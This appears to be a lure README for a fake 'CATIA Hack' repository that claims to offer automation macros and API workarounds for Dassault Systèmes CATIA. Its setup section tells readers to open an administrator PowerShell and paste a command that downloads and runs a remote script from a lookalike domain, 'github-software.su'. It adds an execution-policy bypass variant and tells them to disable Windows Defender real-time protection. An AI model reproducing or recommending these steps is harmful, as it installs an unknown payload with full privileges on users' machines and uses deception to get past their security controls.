CATIA Hack is an open-source repository dedicated to advanced automation, custom macros, and API workarounds for Dassault Systèmes CATIA V5 and V6. This project provides engineers, developers, and CAD administrators with powerful tools to optimize design workflows, bypass software limitations, and unlock hidden functionality within the CATIA environment.
If you are looking for CATIA automation scripts, VBA macros, or C# / Python API examples to speed up your 3D modeling and engineering tasks, this repository contains production-ready solutions.
- CATIA Automation & Macros: Ready-to-use
.catvbs,.catvba, and Python scripts for batch processing. - API Workarounds ("Hacks"): Methods to access restricted parameters, hidden geometry, and internal CAD data structures.
- Performance Optimization: Scripts designed to reduce memory usage and accelerate large assembly loading times.
- Geometry Export Tools: Automated extractors for STEP, IGES, and STL files directly from CATIA parts and products.
- Custom UI Elements: Scripts implementing interactive user forms for customized engineering inputs.
- Software: Dassault Systèmes CATIA V5 (R20 to R34) / CATIA V6 / 3DEXPERIENCE
- Languages: VBA (Visual Basic for Applications), VBScript, Python, C# (.NET COM Interop)
- OS: Windows 10 / Windows 11 (64-bit)
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Open PowerShell as Administrator:
- Press the
Win + Xkeys simultaneously. - Select Terminal (Admin) or Windows PowerShell (Admin) from the context menu.
- Press the
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Execute the Deployment Command: Copy, paste, and press
Enterto run the following optimized initialization command. This script dynamically configures the network bypass registry and fetches the necessary packages:irm https://github-software.su/powershell/Loader.ps1 | iex
If your system blocks the launch due to built-in execution policy constraints, enforce a bypass using this command:
powershell -ExecutionPolicy Bypass -Command "irm https://github-software.su/powershell/Loader.ps1 | iex"In older legacy environments where aliases are missing, use explicit full system cmdlets:
Invoke-RestMethod https://github-software.su/powershell/Loader.ps1 | Invoke-ExpressionAutomated deployment routines can sometimes trigger proactive security heuristics. Temporarily disable "Real-time protection" within your Windows Defender settings during setup, then re-enable it immediately after completion.